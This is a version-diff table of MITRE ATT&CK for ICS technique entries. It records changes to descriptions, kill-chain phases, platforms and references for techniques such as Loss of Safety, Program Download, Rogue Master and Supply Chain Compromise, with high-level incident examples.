| > | ios resulting in the failure of a safety mechanism or contro | > | such as Loss of Control and Property Damage. Adversaries may | ||
| > | l, that may lead to unsafe and dangerous execution and outco | > | target and disable safety system functions as a prerequisit | ||
| > | mes of physical processes and related systems. (Citation: Re | > | e to subsequent attack execution or to allow for future unsa | ||
| > | ference - Corero) (Citation: Reference - SANS - 201510) (Cit | > | fe conditionals to go unchecked. Detection of a Loss of Safe | ||
| > | ation: Reference - RIoT) The German Federal Office for Info | > | ty by operators can result in the shutdown of a process due | ||
| > | rmation Security (BSI) reported a targeted attack on a steel | > | to strict policies regarding safety systems. This can cause | ||
| > | mill in its 2014 IT Security Report. (Citation: German Stee | > | a Loss of Productivity and Revenue and may meet the technica | ||
| > | l Mill - German Federal Office for Information Security - 20 | > | l goals of adversaries seeking to cause process disruptions. | ||
| > | 14) These targeted attacks affected industrial operations an | ||||
| > | d resulted in breakdowns of control system components and ev | ||||
| > | en entire installations. As a result of these breakdowns, ma | ||||
| > | ssive impact resulted in damage and unsafe conditions from t | ||||
| > | he uncontrolled shutdown of a blast furnace. A Polish stud | ||||
| > | ent used a remote controller device to interface with the Lo | ||||
| > | dz city tram system in Poland. (Citation: LodzTram-LondonRec | ||||
| > | onnections-2017-12) (Citation: LodzTram-InHomelandSecurity-2 | ||||
| > | 008-02) (Citation: LodzTram-Schneier-2008-01) Using this rem | ||||
| > | ote, the student was able to capture and replay legitimate t | ||||
| > | ram signals. As a consequence, four trams were derailed and | ||||
| > | twelve people injured due to resulting emergency stops. (Cit | ||||
| > | ation: LodzTram-InHomelandSecurity-2008-02) The track contro | ||||
| > | lling commands issued may have also resulted in tram collisi | ||||
| > | ons, a further risk to those on board and nearby the areas o | ||||
| > | f impact. (Citation: LodzTram-Schneier-2008-01) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| description | Adversaries may cause loss of safety whether on purpose or as a consequence of actions taken to accomplish an operation. The loss of safety can describe a physical impact and threat, or the potential for unsafe conditions and activity in terms of control systems environments, devices, or processes. For instance, an adversary may issue commands or influence and possibly inhibit safety mechanisms that allow the injury of and possible loss of life. This can also encompass scenarios resulting in the failure of a safety mechanism or control, that may lead to unsafe and dangerous execution and outcomes of physical processes and related systems. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill in its 2014 IT Security Report. (Citation: German Steel Mill - German Federal Office for Information Security - 2014) These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact resulted in damage and unsafe conditions from the uncontrolled shutdown of a blast furnace. A Polish student used a remote controller device to interface with the Lodz city tram system in Poland. (Citation: LodzTram-LondonReconnections-2017-12) (Citation: LodzTram-InHomelandSecurity-2008-02) (Citation: LodzTram-Schneier-2008-01) Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops. (Citation: LodzTram-InHomelandSecurity-2008-02) The track controlling commands issued may have also resulted in tram collisions, a further risk to those on board and nearby the areas of impact. (Citation: LodzTram-Schneier-2008-01) | Adversaries may compromise safety system functions designed to maintain safe operation of a process when unacceptable or dangerous conditions occur. Safety systems are often composed of the same elements as control systems but have the sole purpose of ensuring the process fails in a predetermined safe manner. Many unsafe conditions in process control happen too quickly for a human operator to react to. Speed is critical in correcting these conditions to limit serious impacts such as Loss of Control and Property Damage. Adversaries may target and disable safety system functions as a prerequisite to subsequent attack execution or to allow for future unsafe conditionals to go unchecked. Detection of a Loss of Safety by operators can result in the shutdown of a process due to strict policies regarding safety systems. This can cause a Loss of Productivity and Revenue and may meet the technical goals of adversaries seeking to cause process disruptions. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T880 | https://collaborate.mitre.org/attackics/index.php/Technique/T0880 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'LodzTram-LondonReconnections-2017-12', 'description': 'John Bill. (2017, May 12). Hacked Cyber Security Railways. Retrieved October 17, 2019.', 'url': 'https://www.londonreconnections.com/2017/hacked-cyber-security-railways/'} | |
| external_references | {'source_name': 'LodzTram-InHomelandSecurity-2008-02', 'description': 'Shelley Smith. (2008, February 12). Teen Hacker in Poland Plays Trains and Derails City Tram System. Retrieved October 17, 2019.', 'url': 'https://inhomelandsecurity.com/teen%20hacker%20in%20poland%20plays%20tr/'} | |
| external_references | {'source_name': 'LodzTram-Schneier-2008-01', 'description': 'Bruce Schneier. (2008, January 17). Hacking Polish Trams. Retrieved October 17, 2019.', 'url': 'https://www.schneier.com/blog/archives/2008/01/hacking%20the%20pol.html'} | |
| external_references | {'source_name': 'German Steel Mill - German Federal Office for Information Security - 2014', 'description': 'Bundesamt für Sicherheit in der Informationstechnik (BSI) (German Federal Office for Information Security). (2014). Die Lage der IT-Sicherheit in Deutschland 2014 (The State of IT Security in Germany). Retrieved October 30, 2019.', 'url': 'https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf?%20blob=publicationFile&v=3'} | |
| external_references | {'source_name': 'Reference - Corero', 'description': 'Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.', 'url': 'https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf'} | |
| external_references | {'source_name': 'Reference - SANS - 201510', 'description': 'Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.', 'url': 'https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297'} | |
| external_references | {'source_name': 'Reference - RIoT', 'description': 'Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019.'} |
Current version: 0.0
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-04-12 15:35:26.506000+00:00 |
| kill_chain_phases[0]['phase_name'] | execution-ics | collection-ics |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T830 | https://collaborate.mitre.org/attackics/index.php/Technique/T0830 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may manipulate physical process control within t | t | 1 | Adversaries may manipulate physical process control within t |
| > | he industrial environment. Methods of manipulating control c | > | he industrial environment. Methods of manipulating control c | ||
| > | an include changes to set point values, tags, or other param | > | an include changes to set point values, tags, or other param | ||
| > | eters. Adversaries may manipulate control systems devices or | > | eters. Adversaries may manipulate control systems devices or | ||
| > | possibly leverage their own, to communicate with and comman | > | possibly leverage their own, to communicate with and comman | ||
| > | d physical control processes. The duration of manipulation m | > | d physical control processes. The duration of manipulation m | ||
| > | ay be temporary or longer sustained, depending on operator d | > | ay be temporary or longer sustained, depending on operator d | ||
| > | etection. Methods of Manipulation of Control include: * Ma | > | etection. Methods of Manipulation of Control include: Man-in | ||
| > | n-in-the-middle * Spoof command message * Changing setpoint | > | -the-middle, Spoof command message, Changing setpoints. A Po | ||
| > | s | > | lish student used a remote controller device to interface wi | ||
| > | th the Lodz city tram system in Poland.(Citation: LondonReco | ||||
| > | nnections Hacked Cyber Security Railways May 2017)(Citation: | ||||
| > | InHomelandSecurity Hacker Poland February 2008)(Citation: S | ||||
| > | chneier Hacking Polish Trams January 2008) Using this remote | ||||
| > | , the student was able to capture and replay legitimate tram | ||||
| > | signals. As a consequence, four trams were derailed and twe | ||||
| > | lve people injured due to resulting emergency stops.(Citatio | ||||
| > | n: InHomelandSecurity Hacker Poland February 2008)Using this | ||||
| > | remote, the student was able to capture and replay legitima | ||||
| > | te tram signals. As a consequence, four trams were derailed | ||||
| > | and twelve people injured due to resulting emergency stops.( | ||||
| > | Citation: InHomelandSecurity Hacker Poland February 2008) Th | ||||
| > | e track controlling commands issued may have also resulted i | ||||
| > | n tram collisions, a further risk to those on board and near | ||||
| > | by the areas of impact.(Citation: Schneier Hacking Polish Tr | ||||
| > | ams January 2008) | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| description | Adversaries may manipulate physical process control within the industrial environment. Methods of manipulating control can include changes to set point values, tags, or other parameters. Adversaries may manipulate control systems devices or possibly leverage their own, to communicate with and command physical control processes. The duration of manipulation may be temporary or longer sustained, depending on operator detection. Methods of Manipulation of Control include: * Man-in-the-middle * Spoof command message * Changing setpoints | Adversaries may manipulate physical process control within the industrial environment. Methods of manipulating control can include changes to set point values, tags, or other parameters. Adversaries may manipulate control systems devices or possibly leverage their own, to communicate with and command physical control processes. The duration of manipulation may be temporary or longer sustained, depending on operator detection. Methods of Manipulation of Control include: Man-in-the-middle, Spoof command message, Changing setpoints. A Polish student used a remote controller device to interface with the Lodz city tram system in Poland.(Citation: LondonReconnections Hacked Cyber Security Railways May 2017)(Citation: InHomelandSecurity Hacker Poland February 2008)(Citation: Schneier Hacking Polish Trams January 2008) Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops.(Citation: InHomelandSecurity Hacker Poland February 2008)Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops.(Citation: InHomelandSecurity Hacker Poland February 2008) The track controlling commands issued may have also resulted in tram collisions, a further risk to those on board and nearby the areas of impact.(Citation: Schneier Hacking Polish Trams January 2008) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T831 | https://collaborate.mitre.org/attackics/index.php/Technique/T0831 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'LondonReconnections Hacked Cyber Security Railways May 2017', 'description': 'John Bill. (2017, May 12). Hacked Cyber Security Railways. Retrieved October 17, 2019.', 'url': 'https://www.londonreconnections.com/2017/hacked-cyber-security-railways/'} | |
| external_references | {'source_name': 'InHomelandSecurity Hacker Poland February 2008', 'description': 'Shelley Smith. (2008, February 12). Teen Hacker in Poland Plays Trains and Derails City Tram System. Retrieved October 17, 2019.', 'url': 'https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/'} | |
| external_references | {'source_name': 'Schneier Hacking Polish Trams January 2008', 'description': 'Bruce Schneier. (2008, January 17). Hacking Polish Trams. Retrieved October 17, 2019.', 'url': 'https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html'} |
Current version: 0.0
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-04-12 16:35:26.506000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T849 | https://collaborate.mitre.org/attackics/index.php/Technique/T0849 |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impair-process-control'} | |
| x_mitre_platforms | Windows |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may perform a program download to load malicious | t | 1 | Adversaries may perform a program download to transfer a use |
| > | or unintended program logic on a device as a method of pers | > | r program to a controller. ariations of program download, su | ||
| > | istence or to disrupt response functions or process control. | > | ch as online edit and program append, allow a controller to | ||
| > | Program download onto devices, such as PLCs, allows adversa | > | continue running during the transfer and reconfiguration pro | ||
| > | ries to implement custom logic. Malicious PLC programs may b | > | cess without interruption to process control. However, befor | ||
| > | e used to disrupt physical processes or enable adversary per | > | e starting a full program download (i.e., download all) a co | ||
| > | sistence. The act of a program download will cause the PLC t | > | ntroller may need to go into a stop state. This can have neg | ||
| > | o enter a STOP operation state, which may prevent response f | > | ative consequences on the physical process, especially if th | ||
| > | unctions from operating correctly. | > | e controller is not able to fulfill a time-sensitive action. | ||
| > | Adversaries may choose to avoid a download all in favor of | ||||
| > | an online edit or program append to avoid disrupting the phy | ||||
| > | sical process. An adversary may need to use the technique De | ||||
| > | tect Operating Mode or Change Operating Mode to make sure th | ||||
| > | e controller is in the proper mode to accept a program downl | ||||
| > | oad. The granularity of control to transfer a user program i | ||||
| > | n whole or parts is dictated by the management protocol (e.g | ||||
| > | ., S7CommPlus, TriStation) and underlying controller API. Th | ||||
| > | us, program download is a high-level term for the suite of v | ||||
| > | endor-specific API calls used to configure a controller’s us | ||||
| > | er program memory space. Modify Controller Tasking and Modif | ||||
| > | y Program represent the configuration changes that are trans | ||||
| > | ferred to a controller via a program download. | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-04-13 12:52:26.506000+00:00 |
| description | Adversaries may perform a program download to load malicious or unintended program logic on a device as a method of persistence or to disrupt response functions or process control. Program download onto devices, such as PLCs, allows adversaries to implement custom logic. Malicious PLC programs may be used to disrupt physical processes or enable adversary persistence. The act of a program download will cause the PLC to enter a STOP operation state, which may prevent response functions from operating correctly. | Adversaries may perform a program download to transfer a user program to a controller. ariations of program download, such as online edit and program append, allow a controller to continue running during the transfer and reconfiguration process without interruption to process control. However, before starting a full program download (i.e., download all) a controller may need to go into a stop state. This can have negative consequences on the physical process, especially if the controller is not able to fulfill a time-sensitive action. Adversaries may choose to avoid a download all in favor of an online edit or program append to avoid disrupting the physical process. An adversary may need to use the technique Detect Operating Mode or Change Operating Mode to make sure the controller is in the proper mode to accept a program download. The granularity of control to transfer a user program in whole or parts is dictated by the management protocol (e.g., S7CommPlus, TriStation) and underlying controller API. Thus, program download is a high-level term for the suite of vendor-specific API calls used to configure a controller’s user program memory space. Modify Controller Tasking and Modify Program represent the configuration changes that are transferred to a controller via a program download. |
| kill_chain_phases[0]['phase_name'] | persistence-ics | lateral-movement-ics |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T843 | https://collaborate.mitre.org/attackics/index.php/Technique/T0843 |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impair-process-control'} | |
| kill_chain_phases | {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'} | |
| x_mitre_platforms | Windows |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Remote System Discovery is the process of identifying the pr | t | 1 | Adversaries may attempt to get a listing of other systems by |
| > | esence of hosts on a network (Citation: EAttack Remote Syste | > | IP address, hostname, or other logical identifier on a netw | ||
| > | m Discovery), and details about them. This process is commo | > | ork that may be used for subsequent Lateral Movement or Disc | ||
| > | n to network administrators validating the presence of machi | > | overy techniques. Functionality could exist within adversary | ||
| > | nes and services, as well as adversaries mapping out a netwo | > | tools to enable this, but utilities available on the operat | ||
| > | rk for future-attack targets. An adversary may attempt to g | > | ing system or vendor software could also be used.(Citation: | ||
| > | ain information about the target network via network enumera | > | EAttack Remote System Discovery) | ||
| > | tion techniques such as port scanning. One of the most popu | ||||
| > | lar tools for enumeration is [https://nmap.org/ Nmap]. Remo | ||||
| > | te System Discovery allows adversaries to map out hosts on t | ||||
| > | he network as well as the TCP/IP ports that are open, closed | ||||
| > | , or filtered. Remote System Discovery tools also aid in by | ||||
| > | attempting to connect to the service and determine its exac | ||||
| > | t version. The adversary may use this information to pick a | ||||
| > | n exploit for a particular version if a known vulnerability | ||||
| > | exists. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| description | Remote System Discovery is the process of identifying the presence of hosts on a network (Citation: EAttack Remote System Discovery), and details about them. This process is common to network administrators validating the presence of machines and services, as well as adversaries mapping out a network for future-attack targets. An adversary may attempt to gain information about the target network via network enumeration techniques such as port scanning. One of the most popular tools for enumeration is [https://nmap.org/ Nmap]. Remote System Discovery allows adversaries to map out hosts on the network as well as the TCP/IP ports that are open, closed, or filtered. Remote System Discovery tools also aid in by attempting to connect to the service and determine its exact version. The adversary may use this information to pick an exploit for a particular version if a known vulnerability exists. | Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for subsequent Lateral Movement or Discovery techniques. Functionality could exist within adversary tools to enable this, but utilities available on the operating system or vendor software could also be used.(Citation: EAttack Remote System Discovery) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T846 | https://collaborate.mitre.org/attackics/index.php/Technique/T0846 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may setup a rogue master to leverage control ser | t | 1 | Adversaries may setup a rogue master to leverage control ser |
| > | ver functions to communicate with slave devices. A rogue mas | > | ver functions to communicate with outstations. A rogue maste | ||
| > | ter device can be used to send legitimate control messages t | > | r can be used to send legitimate control messages to other c | ||
| > | o other control system devices, affecting processes in unint | > | ontrol system devices, affecting processes in unintended way | ||
| > | ended ways. It may also be used to disrupt network communica | > | s. It may also be used to disrupt network communications by | ||
| > | tions by capturing and receiving the network traffic meant f | > | capturing and receiving the network traffic meant for the ac | ||
| > | or the actual master device. Impersonating a master device m | > | tual master. Impersonating a master may also allow an advers | ||
| > | ay also allow an adversary to avoid detection. In the Maro | > | ary to avoid detection. In the Maroochy Attack, Vitek Boden | ||
| > | ochy Attack, Vitek Boden falsified network addresses in orde | > | falsified network addresses in order to send false data and | ||
| > | r to send false data and instructions to pumping stations. ( | > | instructions to pumping stations. In the case of the 2017 Da | ||
| > | Citation: Maroochy - MITRE - 200808) Detection: Collect fil | > | llas Siren incident, adversaries used a rogue master to send | ||
| > | e hashes; file names that do not match their expected hash a | > | command messages to the 156 distributed sirens across the c | ||
| > | re suspect. Perform file monitoring; files with known names | > | ity, either through a single rogue transmitter with a strong | ||
| > | but in unusual locations are suspect. Likewise, files that a | > | signal, or using many distributed repeaters. | ||
| > | re modified outside of an update or patch are suspect. | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-04-12 19:26:26.506000+00:00 |
| name | Rogue Master Device | Rogue Master |
| description | Adversaries may setup a rogue master to leverage control server functions to communicate with slave devices. A rogue master device can be used to send legitimate control messages to other control system devices, affecting processes in unintended ways. It may also be used to disrupt network communications by capturing and receiving the network traffic meant for the actual master device. Impersonating a master device may also allow an adversary to avoid detection. In the Maroochy Attack, Vitek Boden falsified network addresses in order to send false data and instructions to pumping stations. (Citation: Maroochy - MITRE - 200808) Detection: Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. | Adversaries may setup a rogue master to leverage control server functions to communicate with outstations. A rogue master can be used to send legitimate control messages to other control system devices, affecting processes in unintended ways. It may also be used to disrupt network communications by capturing and receiving the network traffic meant for the actual master. Impersonating a master may also allow an adversary to avoid detection. In the Maroochy Attack, Vitek Boden falsified network addresses in order to send false data and instructions to pumping stations. In the case of the 2017 Dallas Siren incident, adversaries used a rogue master to send command messages to the 156 distributed sirens across the city, either through a single rogue transmitter with a strong signal, or using many distributed repeaters. |
| kill_chain_phases[0]['phase_name'] | evasion-ics | initial-access-ics |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T848 | https://collaborate.mitre.org/attackics/index.php/Technique/T0848 |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impair-process-control'} | |
| x_mitre_platforms | Windows |
Current version: 0.0
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-04-12 16:23:26.506000+00:00 |
| kill_chain_phases[0]['phase_name'] | impair-process-control | inhibit-response-function |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T881 | https://collaborate.mitre.org/attackics/index.php/Technique/T0881 |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may perform supply chain compromise to gain cont | t | 1 | Adversaries may perform supply chain compromise to gain cont |
| > | rol systems environment access by means of infected products | > | rol systems environment access by means of infected products | ||
| > | , software, and workflows. Supply chain compromise is the ma | > | , software, and workflows. Supply chain compromise is the ma | ||
| > | nipulation of products, such as devices or software, or thei | > | nipulation of products, such as devices or software, or thei | ||
| > | r delivery mechanisms before receipt by the end consumer. Ad | > | r delivery mechanisms before receipt by the end consumer. Ad | ||
| > | versary compromise of these products and mechanisms is done | > | versary compromise of these products and mechanisms is done | ||
| > | for the goal of data or system compromise, once infected pro | > | for the goal of data or system compromise, once infected pro | ||
| > | ducts are introduced to the target environment. Supply cha | > | ducts are introduced to the target environment. Supply cha | ||
| > | in compromise can occur at all stages of the supply chain, f | > | in compromise can occur at all stages of the supply chain, f | ||
| > | rom manipulation of development tools and environments to ma | > | rom manipulation of development tools and environments to ma | ||
| > | nipulation of developed products and tools distribution mech | > | nipulation of developed products and tools distribution mech | ||
| > | anisms. This may involve the compromise and replacement of l | > | anisms. This may involve the compromise and replacement of l | ||
| > | egitimate software and patches, such as on third party or ve | > | egitimate software and patches, such as on third party or ve | ||
| > | ndor websites. Targeting of supply chain compromise can be d | > | ndor websites. Targeting of supply chain compromise can be d | ||
| > | one in attempts to infiltrate the environments of a specific | > | one in attempts to infiltrate the environments of a specific | ||
| > | audience. In control systems environments with assets in bo | > | audience. In control systems environments with assets in bo | ||
| > | th the IT and OT networks, it is possible a supply chain com | > | th the IT and OT networks, it is possible a supply chain com | ||
| > | promise affecting the IT environment could enable further ac | > | promise affecting the IT environment could enable further ac | ||
| > | cess to the OT environment. F-Secure Labs analyzed the app | > | cess to the OT environment. Counterfeit devices may be intro | ||
| > | roach the adversary used to compromise victim systems with H | > | duced to the global supply chain posing safety and cyber ris | ||
| > | avex. (Citation: (Citation: Havex - F-Secure) - 201406) The | > | ks to asset owners and operators. These devices may not meet | ||
| > | adversary planted trojanized software installers available | > | the safety, engineering and manufacturing requirements of r | ||
| > | on legitimate ICS/SCADA vendor websites. After being downloa | > | egulatory bodies but may feature tagging indicating conforma | ||
| > | ded, this software infected the host computer with a Remote | > | nce with industry standards. Due to the lack of adherence to | ||
| > | Access Trojan (RAT). | > | standards and overall lesser quality, the counterfeit produ | ||
| > | cts may pose a serious safety and operational risk. Yokogawa | ||||
| > | identified instances in which their customers received coun | ||||
| > | terfeit differential pressure transmitters using the Yokogaw | ||||
| > | a logo. The counterfeit transmitters were nearly indistingui | ||||
| > | shable with a semblance of functionality and interface that | ||||
| > | mimics the genuine product. F-Secure Labs analyzed the appr | ||||
| > | oach the adversary used to compromise victim systems with Ha | ||||
| > | vex. (Citation: (Citation: Havex - F-Secure) - 201406) The | ||||
| > | adversary planted trojanized software installers available o | ||||
| > | n legitimate ICS/SCADA vendor websites. After being download | ||||
| > | ed, this software infected the host computer with a Remote A | ||||
| > | ccess Trojan (RAT). | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-04-13 12:19:26.506000+00:00 |
| description | Adversaries may perform supply chain compromise to gain control systems environment access by means of infected products, software, and workflows. Supply chain compromise is the manipulation of products, such as devices or software, or their delivery mechanisms before receipt by the end consumer. Adversary compromise of these products and mechanisms is done for the goal of data or system compromise, once infected products are introduced to the target environment. Supply chain compromise can occur at all stages of the supply chain, from manipulation of development tools and environments to manipulation of developed products and tools distribution mechanisms. This may involve the compromise and replacement of legitimate software and patches, such as on third party or vendor websites. Targeting of supply chain compromise can be done in attempts to infiltrate the environments of a specific audience. In control systems environments with assets in both the IT and OT networks, it is possible a supply chain compromise affecting the IT environment could enable further access to the OT environment. F-Secure Labs analyzed the approach the adversary used to compromise victim systems with Havex. (Citation: (Citation: Havex - F-Secure) - 201406) The adversary planted trojanized software installers available on legitimate ICS/SCADA vendor websites. After being downloaded, this software infected the host computer with a Remote Access Trojan (RAT). | Adversaries may perform supply chain compromise to gain control systems environment access by means of infected products, software, and workflows. Supply chain compromise is the manipulation of products, such as devices or software, or their delivery mechanisms before receipt by the end consumer. Adversary compromise of these products and mechanisms is done for the goal of data or system compromise, once infected products are introduced to the target environment. Supply chain compromise can occur at all stages of the supply chain, from manipulation of development tools and environments to manipulation of developed products and tools distribution mechanisms. This may involve the compromise and replacement of legitimate software and patches, such as on third party or vendor websites. Targeting of supply chain compromise can be done in attempts to infiltrate the environments of a specific audience. In control systems environments with assets in both the IT and OT networks, it is possible a supply chain compromise affecting the IT environment could enable further access to the OT environment. Counterfeit devices may be introduced to the global supply chain posing safety and cyber risks to asset owners and operators. These devices may not meet the safety, engineering and manufacturing requirements of regulatory bodies but may feature tagging indicating conformance with industry standards. Due to the lack of adherence to standards and overall lesser quality, the counterfeit products may pose a serious safety and operational risk. Yokogawa identified instances in which their customers received counterfeit differential pressure transmitters using the Yokogawa logo. The counterfeit transmitters were nearly indistinguishable with a semblance of functionality and interface that mimics the genuine product. F-Secure Labs analyzed the approach the adversary used to compromise victim systems with Havex. (Citation: (Citation: Havex - F-Secure) - 201406) The adversary planted trojanized software installers available on legitimate ICS/SCADA vendor websites. After being downloaded, this software infected the host computer with a Remote Access Trojan (RAT). |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T862 | https://collaborate.mitre.org/attackics/index.php/Technique/T0862 |
| external_references[1]['source_name'] | Havex - F-Secure - 201406 | Control Global Yokogawa May 2019 |
| external_references[1]['description'] | F-Secure Labs. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved October 21, 2019. | Control Global. (2019, May 29). Yokogawa announcement warns of counterfeit transmitters. Retrieved April 9, 2021. |
| external_references[1]['url'] | https://www.f-secure.com/weblog/archives/00002718.html | https://www.controlglobal.com/industrynews/2019/yokogawa-announcement-warns-of-counterfeit-transmitters/ |
| external_references[2]['source_name'] | Havex - F-Secure | Havex - F-Secure - 201406 |
| external_references[2]['description'] | Daavid Hentunen, Antti Tikkanen. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved April 1, 2019. | F-Secure Labs. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved October 21, 2019. |
| x_mitre_platforms[0] | Windows | Control Server |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Havex - F-Secure', 'description': 'Daavid Hentunen, Antti Tikkanen. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved April 1, 2019.', 'url': 'https://www.f-secure.com/weblog/archives/00002718.html'} | |
| x_mitre_platforms | Data Historian | |
| x_mitre_platforms | Field Controller/RTU/PLC/IED | |
| x_mitre_platforms | Human-Machine Interface | |
| x_mitre_platforms | Input/Output Server | |
| x_mitre_platforms | Safety Instrumented System/Protection Relay |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | System firmware on modern assets is often designed with an u | t | 1 | System firmware on modern assets is often designed with an u |
| > | pdate feature. Older device firmware may be factory installe | > | pdate feature. Older device firmware may be factory installe | ||
| > | d and require special reprograming equipment. When available | > | d and require special reprograming equipment. When available | ||
| > | , the firmware update feature enables vendors to remotely pa | > | , the firmware update feature enables vendors to remotely pa | ||
| > | tch bugs and perform upgrades. Device firmware updates are o | > | tch bugs and perform upgrades. Device firmware updates are o | ||
| > | ften delegated to the user and may be done using a software | > | ften delegated to the user and may be done using a software | ||
| > | update package. It may also be possible to perform this task | > | update package. It may also be possible to perform this task | ||
| > | over the network. An adversary may exploit the firmware up | > | over the network. An adversary may exploit the firmware upd | ||
| > | date feature on accessible devices to upload malicious or ou | > | ate feature on accessible devices to upload malicious or out | ||
| > | t-of-date firmware. Malicious modification of device firmwar | > | -of-date firmware. Malicious modification of device firmware | ||
| > | e may provide an adversary with root access to a device, giv | > | may provide an adversary with root access to a device, give | ||
| > | en firmware is one of the lowest programming abstraction lay | > | n firmware is one of the lowest programming abstraction laye | ||
| > | ers. (Citation: Research - Firmware Modification) In the 20 | > | rs.(Citation: Research - Firmware Modification) | ||
| > | 15 attack on the Ukranian power grid, the adversaries gained | ||||
| > | access to the control networks of three different energy co | ||||
| > | mpanies. The adversaries developed malicious firmware for th | ||||
| > | e serial-to-ethernet devices which rendered them inoperable | ||||
| > | and severed connections between the control center and the s | ||||
| > | ubstation. (Citation: Ukraine15 - EISAC - 201603) | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| description | System firmware on modern assets is often designed with an update feature. Older device firmware may be factory installed and require special reprograming equipment. When available, the firmware update feature enables vendors to remotely patch bugs and perform upgrades. Device firmware updates are often delegated to the user and may be done using a software update package. It may also be possible to perform this task over the network. An adversary may exploit the firmware update feature on accessible devices to upload malicious or out-of-date firmware. Malicious modification of device firmware may provide an adversary with root access to a device, given firmware is one of the lowest programming abstraction layers. (Citation: Research - Firmware Modification) In the 2015 attack on the Ukranian power grid, the adversaries gained access to the control networks of three different energy companies. The adversaries developed malicious firmware for the serial-to-ethernet devices which rendered them inoperable and severed connections between the control center and the substation. (Citation: Ukraine15 - EISAC - 201603) | System firmware on modern assets is often designed with an update feature. Older device firmware may be factory installed and require special reprograming equipment. When available, the firmware update feature enables vendors to remotely patch bugs and perform upgrades. Device firmware updates are often delegated to the user and may be done using a software update package. It may also be possible to perform this task over the network. An adversary may exploit the firmware update feature on accessible devices to upload malicious or out-of-date firmware. Malicious modification of device firmware may provide an adversary with root access to a device, given firmware is one of the lowest programming abstraction layers.(Citation: Research - Firmware Modification) |
